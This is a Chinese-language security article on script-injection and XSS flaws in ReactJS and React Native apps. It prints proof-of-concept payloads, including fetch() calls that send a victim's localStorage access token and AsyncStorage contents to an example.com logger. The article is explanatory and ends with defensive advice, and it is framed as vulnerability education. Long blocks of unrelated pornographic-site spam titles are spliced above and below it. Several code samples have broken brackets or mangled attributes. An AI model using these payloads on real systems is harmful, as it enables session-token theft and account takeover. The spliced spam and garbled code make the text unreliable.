精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

利用腳本注入漏洞攻擊ReactJS應用程序

安全 應用安全 黑客攻防
ReactJS是一款能夠幫助開發者構建用戶接口的熱門JavaScript庫。在它的幫助下,開發者可以構建出內容豐富的客戶端或Web應用,并且提前加載內容以提供更好的用戶體驗。

ReactJS是一款能夠幫助開發者構建用戶接口的熱門JavaScript庫。在它的幫助下,開發者可以構建出內容豐富的客戶端或Web應用,并且提前加載內容以提供更好的用戶體驗。

[[199564]]

從設計角度來看,只要你能夠按照開發標準來使用ReactJS的話,它其實是非常安全的。但是在網絡安全領域中,沒有任何東西是絕對安全的,而錯誤的編程實踐方式將導致類似腳本注入漏洞之類的問題產生,這些錯誤的編程方式包括:

1.利用用戶提供的對象來創建React組件;

2.利用用戶提供的href屬性來配置標簽,或利用其他可注入的屬性來設置其他的HTML標簽(例如link標簽);

3.顯示地設置一個元素的dangerouslySetInnerHTML屬性(危險的HTML標簽屬性);

4.向eval()傳遞用戶提供的字符串數據;

 

接下來,讓我們一起看一看這些潛在的問題將如何影響ReactJS應用程序,并最終導致了腳本注入漏洞的出現。

組件、屬性和元素

在ReactJS應用程序中,組件是最基本的組成部分。從本質上來說,這些組件其實都類似于JavaScript函數,它們可以接受任意的輸入數據,然后返回React元素。一個基本的ReactJS組件如下所示:

  1. class Welcome extends React.Component { 
  2.   render() { 
  3. return <h1>Hello, {this.props.name}</h1>
  4.   } 

 

請注意上面代碼中的return語句,這是一種JavaScript中的語句擴展(JSX)。在項目構建的過程中,JSX代碼將會被編譯成常規的JavaScript(ES5)代碼。下面給出的兩種樣本代碼其功能是完全相同的:

  1. // JSX 
  2. const element = ( 
  3.   <h1 className=”greeting”> 
  4.   Hello, world! 
  5.   </h1> 
  6. ); 
  7. // Transpiled to createElement() call 
  8. const element = React.createElement( 
  9.   ‘h1’, 
  10.   {className: ‘greeting’}, 
  11.   ‘Hello, world!’ 
  12. ); 
  13. 在創建新的React元素時,使用的是component類中的createElement()函數: 
  14. React.createElement( 
  15.   type, 
  16.   [props], 
  17.   [...children] 

這個函數可以接受三個參數:

1.type參數:該參數可以是一個標簽名(例如'div'或'span'),或一個component類。但是在React Native中只允許component類。

2.props參數:該參數包含一個傳遞給新元素的屬性列表。

3.children參數:該參數包含新元素的子節點。

如果你能夠控制其中任何一個參數的話,那么這個參數就會變成攻擊向量。

注入子節點

 

早2015年3月份,Daniel LeCheminant報告了一個存在于HackerOne的存儲型跨站腳本漏洞(XSS)。這個漏洞的成因如下:HackerOne的Web應用會將用戶所提供的任意對象當作children參數傳遞給React.createElement()函數。根據我們的推測,存在漏洞的代碼可能跟下方給出的代碼比較相似:

  1. * Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason. 
  2. attacker_supplied_value = JSON.parse(some_user_input) 
  3. */ 
  4. render() {  
  5.  return <span>{attacker_supplied_value}</span>

這段JSX代碼將會被轉譯成如下所示的JavaScript代碼:   

  1. React.createElement("span", null, attacker_supplied_value}; 

如果其中的attacker_supplied_value是一個字符串的話(正常情況),代碼將會生成一個正常的span元素。但是在當前版本的ReactJS中,createElement()函數還會接受以children參數形式傳遞的普通對象。Daniel通過一個JSON編碼的對象利用了這個漏洞,他在這個對象中包含了dangerouslySetInnerHTML屬性,這將允許他向React呈現的輸出效果中注入原始的HTML代碼。最終的PoC代碼:

  1.  _isReactElement: true, 
  2.  _store: {}, 
  3.  type: “body”, 
  4.  props: { 
  5.    dangerouslySetInnerHTML: { 
  6.      __html: 
  7.      "<h1>Arbitrary HTML</h1> 
  8.      <script>alert(‘No CSP Support :(‘)</script> 
  9.      <a href=’http://danlec.com'>link</a>
  10.     } 
  11.   } 

相關的漏洞緩解方案可以在React.js的GitHub主頁上找到,感興趣的同學可以參考。在2015年11月份,Sebastian Markbåge提交了一個修復方案:為React元素引入了$$typeof: Symbol.for('react.element')屬性。由于無法從一個注入對象引用全局JavaScript符號,所以Daniel設計的漏洞利用技術(注入child元素)就無法再使用了。

控制元素類型

 

雖然我們不能再將普通對象來當作ReactJS元素來使用了,但是組件注入并非不可能實現,因為createElement()函數還可以接受type參數中的字符串數據。我們假設開發者采用了如下所示的代碼:

  1. // Dynamically create an element from a string stored in the backend. 
  2. element_name = stored_value
  3. React.createElement(element_name, null); 

如果stored_value是一個由攻擊者控制的字符串,那我們就可以創建任意的React組件了。但是此時創建的是一個普通的無屬性HTML元素,而這種東西對于攻擊者來說是沒有任何作用的。因此,我們必須要能夠控制新創建元素的屬性才可以。

注入屬性(props)

 

請大家先看看下面給出的這段代碼:

  1. // Parse attacker-supplied JSON for some reason and pass 
  2. // the resulting object as props. 
  3. // Don't do this at home unless you are a trained expert! 
  4. attacker_props = JSON.parse(stored_value) 
  5. React.createElement("span", attacker_props}; 

這樣一來,我們就可以向新元素中注入任意屬性了。我們可以使用下面給出的Payload來設置dangerouslySetInnerHTML屬性:

  1. {"dangerouslySetInnerHTML" : { "__html": "<img src=xonerror=’alert(localStorage.access_token)’>"}} 

跨站腳本漏洞

某些傳統的XSS攻擊向量同樣適用于ReactJS應用程序。請大家接著往下看:

(1) 顯示地設置dangerouslySetInnerHTML屬性

很多開發者可能會有目的地去設置dangerouslySetInnerHTML屬性:

 

  1. <div dangerouslySetInnerHTML={user_supplied} /> 

很明顯,如果你能夠控制這些屬性的參數值,那你就能夠注入任意的JavaScript代碼了。

(2) 可注入的屬性

如果你能夠控制一個動態生成的標簽的href屬性,那就沒有什么可以阻止你向其參數值中注入JavaScript代碼(通過javascript:)了。除了href屬性之外,在現代瀏覽器中HTML5按鈕的formaction屬性同樣也是可注入的。

  1. <a href={userinput}>Link</a> 
  2. <button form="name" formaction={userinput}> 

另一個非常奇怪的注入向量就是HTML imports:

  1. <link rel=”import” href={user_supplied}> 

(3) 服務器端呈現的HTML

為了降低初始化頁面的呈現時間,很多開發人員會在服務器端預先加載React.JS頁面(也就是所謂的“服務器端呈現”)。在2016年11月份,Emilia Smith發現官方Redux代碼樣本中存在一個跨站腳本漏洞(XSS),因為客戶端狀態被嵌入到了預呈現頁面中并沒有被過濾掉。(樣本代碼中的漏洞現在已經修復)

如果HTML頁面在服務器端預呈現的話,你也許可以在普通的Web應用中找到類似的跨站腳本漏洞。

基于eval()的注入

如果應用程序使用了eval()來動態執行一個由你控制的注入字符串,那你就非常幸運了。在這種情況下,你就可以隨意選擇你需要注入的代碼了:

  1. function antiPattern() { 
  2.   eval(this.state.attacker_supplied); 

XSS Payload

在現代Web開發領域,很多機制的開發人員會選擇使用無狀態的會話令牌,并且將它們保存在客戶端的本地存儲中。因此,攻擊者必須根據這種情況來設計相應的Payload。

 

當你在利用跨站腳本漏洞來攻擊ReactJS Web應用程序時,你能夠隨意注入任意代碼,如果再配合使用下面列出的代碼,你就可以從目標設備的本地存儲中獲取訪問令牌并將其發送到你的記錄程序中:

  1. fetch(‘http://example.com/logger.php? 
  2. token='+localStorage.access_token); 

React Native

React Native是一款移動應用開發框架,它可以幫助開發人員使用ReactJS構建原生移動應用。更確切地說,它提供了一個能夠再移動設備上運行React JavaScript包的運行時環境。除此之外,我們還可以使用React Native for Web讓一個React Native應用在普通的Web瀏覽器中運行。

但是就我們目前的研究結果來看,上面列出的腳本注入向量都不適用于React Native:

1.React Native的createInternalComponent方法只接受包含標簽的component類,所以即便是你能夠完全控制傳遞給createElement()的參數,你野無法創建任意元素;

2.不存在HTML元素,HTML代碼也不會被解析,所以普通的基于瀏覽器的XSS向量(例如'href')就無法正常工作了。

只有基于eval()的變量才可以在移動設備上被攻擊者利用。如果你能夠通過eval()注入JavaScript代碼,你就可以訪問React Native API并做一些有趣的事情了。比如說,你可以從本地存儲(AsyncStorage)中竊取數據了,相關的操作代碼如下所示:

  1. _reactNative.AsyncStorage.getAllKeys(function(err,result) 
  2. {_reactNative.AsyncStorage.multiGet(result,function(err,result) 
  3. {fetch(‘http://example.com/logger.php? 
  4. token='+JSON.stringify(result));});}); 

建議

雖然從設計的角度出發,ReactJS還是非常安全的,但是這個世界上沒有絕對安全的東西,不好的編程習慣將導致各種嚴重的安全漏洞出現:

 

我們建議各位開發者們不要再使用eval()函數或dangerouslySetInnerHTML屬性,并避免解析用戶提供的JSON數據。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2011-04-13 09:58:15

2012-06-07 09:15:14

ibmdw

2009-10-13 15:07:43

2013-09-03 15:45:50

2009-03-09 12:37:48

2014-11-24 09:16:14

2014-01-07 10:12:15

Spark

2023-08-01 08:00:00

SQLWeb應用安全

2009-04-02 10:26:27

2010-12-15 17:22:59

2010-12-06 15:23:43

2012-10-23 14:51:38

2023-09-01 00:05:40

2021-04-08 08:06:55

SAP應用程序攻擊

2010-08-23 15:50:43

2009-07-29 17:42:47

ibmdwWeb2.0

2009-08-27 11:53:45

ibmdw云計算

2020-04-21 09:55:54

DDoS攻擊網絡攻擊網絡安全

2021-11-24 11:48:08

Canopy漏洞應用程序

2012-08-22 14:57:00

點贊
收藏

51CTO技術棧公眾號

99久久久久| 亚洲天堂视频在线播放| 亚洲啊v在线免费视频| 亚洲国产综合视频在线观看| 国产偷国产偷亚洲高清97cao| www.欧美色| 精品在线视频观看| 亚洲不卡在线| 91高清视频在线| 神马午夜伦理影院| 日本一区视频| 国产一区二区成人久久免费影院| 91精品国产99| 91高清免费观看| 国产伦乱精品| 51精品久久久久久久蜜臀| 久久精品国产sm调教网站演员| 北条麻妃在线| 91在线小视频| 春色成人在线视频| 亚洲天堂手机版| 久久精品一区| 韩国精品久久久999| 国产午夜精品理论片| 欧美电影免费网站| 精品三级av在线| 五月天亚洲综合情| 天天操天天干天天操| 影音先锋中文字幕一区| 日韩精品自拍偷拍| 亚洲国产高清av| 麻豆网站在线看| 久久综合给合久久狠狠狠97色69| 91美女片黄在线观看游戏| 亚洲无码精品一区二区三区| 国产精品久久777777毛茸茸| 久久久久久网站| 永久看片925tv| 欧美wwwww| 国产亚洲美女久久| 中文字幕一区二区三区人妻不卡| 成人偷拍自拍| 日韩成人午夜| 福利视频一区二区| 国产日韩欧美一区二区| 国产又粗又大又爽| 免费观看成人鲁鲁鲁鲁鲁视频| 欧美在线一级va免费观看| 亚洲自拍另类欧美丝袜| 久久久久久久久久久久国产精品| 欧美日韩伦理一区二区| 在线看国产一区| 成人羞羞国产免费网站| 国产精欧美一区二区三区蓝颜男同| 亚洲国产视频在线| 日韩精品在线观看av| 欧美xxxx黑人又粗又长| 亚洲最色的网站| 超碰人人爱人人| 性欧美ⅴideo另类hd| 亚洲欧美日韩在线播放| 91免费网站视频| 黄色小视频免费观看| 国产精品18久久久久| 99精彩视频| 三级在线观看网站| 99久久婷婷国产综合精品| 国语精品中文字幕| 蜜桃视频在线观看网站| 国产精品少妇自拍| 最新视频 - x88av| 狂野欧美激情性xxxx欧美| 亚洲国产裸拍裸体视频在线观看乱了 | 久久精品理论片| 国产在线播放91| 国产福利资源在线| 成人av电影在线| 久久精品国产综合精品| 北岛玲一区二区三区| 中文字幕一区二区三区不卡在线 | 97超级碰碰| 午夜精品久久久久久久99热黄桃| 夜夜爽av福利精品导航| 日本中文字幕不卡免费| 五月天中文字幕| 国产一区二区在线观看视频| 国产成人精品一区二区三区福利 | 在线中文字幕日韩| 黄频视频在线观看| 亚洲中文一区二区三区| 国产伦理精品不卡| 国产在线精品一区二区中文| 国产福利第一视频在线播放| 亚洲色大成网站www久久九九| 青草网在线观看| 在线天堂资源www在线污| 亚洲三级在线观看| 黄色激情在线视频| 91av一区| 亚洲成人久久网| 成人在线观看免费高清| 免费成人高清在线视频theav| 一区二区三区回区在观看免费视频| 天天爽天天爽天天爽| 在线精品在线| 91精品美女在线| 日韩在线视频免费| 国产精品美女视频| 老太脱裤子让老头玩xxxxx| 啪啪av大全导航福利综合导航| 亚洲高清福利视频| 国产成人免费在线观看视频| 在线亚洲免费| 91九色偷拍| 日韩免费网站| 婷婷国产在线综合| 精品人妻人人做人人爽夜夜爽| 欧洲杯足球赛直播| 57pao精品| 亚洲av无码片一区二区三区| 国产欧美日韩三级| 日韩av一二三四区| 都市激情亚洲一区| 精品国产免费视频| 亚洲欧美精品aaaaaa片| 老牛国产精品一区的观看方式| 成人av免费电影| 国产黄网站在线观看| 欧美午夜精品久久久久久浪潮| 国产精品50p| 视频一区日韩精品| xxx一区二区| 一区精品在线观看| 国产婷婷色一区二区三区| 91九色在线观看视频| 亚洲天堂国产视频| 成人偷拍自拍| 欧美精品video| 性做久久久久久久| 亚洲精品国产一区二区三区四区在线| 亚洲36d大奶网| 日韩免费视频| 国产精品中文久久久久久久| 国产98在线| 欧美性大战久久久久久久| 国内精品久久99人妻无码| 亚洲国产婷婷| 日韩av电影中文字幕| 天堂网在线播放| 午夜精品久久久久久久| 精品国产乱码久久久久夜深人妻| 欧美.www| 国产精品免费在线| av电影在线地址| 在线观看亚洲a| 无码人妻aⅴ一区二区三区69岛| 免费亚洲一区| 日本亚洲自拍| 日韩免费在线电影| 久色乳综合思思在线视频| 日韩三级一区二区三区| www.亚洲色图| 中文字幕日本最新乱码视频| 亚洲精品推荐| 国产精品www网站| 日本在线免费播放| 日韩午夜电影av| 日本熟伦人妇xxxx| 久久网这里都是精品| 999精品网站| 我不卡伦不卡影院| 官网99热精品| 一个人www视频在线免费观看| 亚洲性视频网址| 国产精品自偷自拍| 亚洲午夜精品久久久久久久久| 黄色网址在线视频| 秋霞午夜鲁丝一区二区老狼| 欧美日韩一级在线| 精品国产影院| 国产精品观看在线亚洲人成网| 欧美性videos| 亚洲电影天堂av| 精品国产青草久久久久96| 天天天综合网| 欧美tickling网站挠脚心| 日韩女优一区二区| 99国内精品久久| 国模私拍视频在线观看| 国产精品porn| 日韩久久在线| 2023国产精华国产精品| 国产成人97精品免费看片| 成a人片在线观看| 精品视频在线播放免| 亚洲一二区视频| 香蕉av福利精品导航| 欧美丰满老妇熟乱xxxxyyy| 国产精品1区二区.| 中文字幕欧美人妻精品一区| 亚洲欧美综合久久久| 精品日韩美女| 午夜免费欧美电影| 日韩av高清不卡| 超碰在线中文字幕| 日韩中文字幕国产| 清纯唯美亚洲色图| 日韩一区二区精品| 中文字幕一区二区免费| 午夜不卡在线视频| 午夜精品福利在线视频| 国产日韩欧美a| 波多野结衣先锋影音| 国产一区二区影院| 亚欧在线免费观看| 国产欧美日本| 嫩草影院中文字幕| 91久久电影| 日韩中文字幕一区| 偷拍自拍一区| 国产一区国产精品| av日韩精品| 91视频99| 欧美日韩午夜电影网| 久久艹在线视频| 国产福利小视频在线| 日韩第一页在线| 亚洲精品国产suv一区| 在线观看91av| 一区二区三区黄| 欧美亚洲尤物久久| а中文在线天堂| 色综合久久中文综合久久牛| 日韩精品乱码久久久久久| 亚洲尤物视频在线| 免费视频一二三区| 一区二区三区四区国产精品| 日韩激情小视频| 亚洲欧美日韩国产综合| 91精品国产99| 可以在线观看的av网站| 精品亚洲精品福利线在观看| 色婷婷av一区二区三| 精品美女一区二区| 成人免费视频国产免费麻豆| 日韩欧美黄色影院| www.av导航| 精品成人a区在线观看| 亚洲精品久久久久久久久久| 日韩一区二区在线观看| 国产黄色av片| 日韩欧美国产电影| 亚洲精品久久久久久无码色欲四季| 日韩精品一区二区三区视频播放 | 国内精品国语自产拍在线观看| 国产精品xxxav免费视频| 国产一区二区三区黄| 国产亚洲成av人片在线观黄桃| 国产精品美女黄网| 久久综合五月婷婷| 蜜桃av噜噜一区二区三区| 你懂的一区二区三区| 亚洲欧美精品在线观看| 天天综合久久| 91免费国产精品| 在线综合视频| 日韩一级理论片| 久久99国产精品麻豆| 亚洲女人在线观看| 成人激情午夜影院| 欧美图片第一页| 国产精品久久久久影院老司| 日本黄色片免费观看| 亚洲一级在线观看| 久久精品国产成人av| 欧美日韩一区二区三区在线看 | 色播亚洲视频在线观看| 色综合色综合| 日韩视频在线视频| 日韩激情一二三区| 欧美 亚洲 视频| 亚洲大片av| 欧美精品无码一区二区三区| 久久成人综合网| 亚洲精品第二页| 国产欧美一区视频| 欧美国产在线看| 色婷婷av一区二区三区软件 | 亚洲大尺度美女在线| 黄色片在线看| 久久国产精品72免费观看| 中文字幕日本最新乱码视频| 免费成人在线网站| 国产精品果冻传媒| 国产欧美va欧美不卡在线| 欧美成人综合色| 欧美最猛性xxxxx直播| 国产wwwxxx| 国产一区二区av| www在线看| 91精品国产综合久久男男| 欧美尿孔扩张虐视频| 最新视频 - x88av| 日本在线播放一区二区三区| 曰本三级日本三级日本三级| 日本一区二区三区免费乱视频 | 成人网视频在线观看| 欧美激情一级精品国产| 国产精品成人国产| 精品无码久久久久国产| 你懂的一区二区| 五月天激情视频在线观看| 99久久精品国产导航| 四虎永久免费在线| 欧美日韩一区 二区 三区 久久精品| 天堂网在线播放| 欧美激情乱人伦| 欧美亚洲二区| 日韩在线三级| 欧美综合国产| a天堂视频在线观看| 亚洲美女淫视频| 一区二区视频免费| 亚洲日韩欧美视频一区| 欧美极品videos大乳护士| 成人综合色站| 欧美三级第一页| 国产精品熟女一区二区不卡| 中文字幕中文字幕一区| 亚洲精品国产精品乱码视色| 亚洲欧美中文日韩v在线观看| 超黄网站在线观看| av成人午夜| 欧美日韩精品| 超碰人人cao| 亚洲卡通动漫在线| hs视频在线观看| 欧美精品在线极品| 精品国产鲁一鲁****| 中文字幕超清在线免费观看| 免费人成精品欧美精品| 亚洲精品91在线| 在线精品亚洲一区二区不卡| 国产毛片av在线| 国产精品久久久久久亚洲影视| 国产亚洲电影| 国产精品天天av精麻传媒| 久久嫩草精品久久久久| 蜜臀99久久精品久久久久小说| 亚洲欧美在线免费| 成人啊v在线| 日韩视频专区| 六月丁香婷婷色狠狠久久| 免费观看特级毛片| 91麻豆精品国产| 波多野结衣免费观看| 久久久久国产精品麻豆ai换脸| 中文字幕视频网站| 亚洲性生活视频| 国产精品亚洲成在人线| 资源网第一页久久久| 国产美女一区二区三区| 久草中文在线视频| 亚洲韩国欧洲国产日产av| 色资源二区在线视频| 日韩啊v在线| 精品一区二区在线观看| 青青草手机视频在线观看| 亚洲电影免费观看高清| 国产精品粉嫩| 国产福利片一区二区| 懂色中文一区二区在线播放| 青青草av在线播放| 一区二区三区国产在线观看| 久久综合给合| 国产精品50p| 国产精品国产a级| 国产刺激高潮av| 国产精品久久久久久久久久新婚| 91精品国产自产在线观看永久∴| 亚洲图片欧美另类| 色哟哟日韩精品| a天堂中文在线官网在线| 国产精品久久国产三级国电话系列| 欧美一级网站| 欧洲第一无人区观看| 日韩精品在线观看一区| 国产精品.xx视频.xxtv| 国产一线二线三线女| 国产午夜精品一区二区| 国产福利视频导航| 国产不卡视频在线| 欧美激情日韩| 免费在线观看a视频| 欧美成人欧美edvon| 欧美free嫩15| 婷婷无套内射影院| 国产精品第13页| 日韩精品视频在线观看一区二区三区| 成人精品福利视频|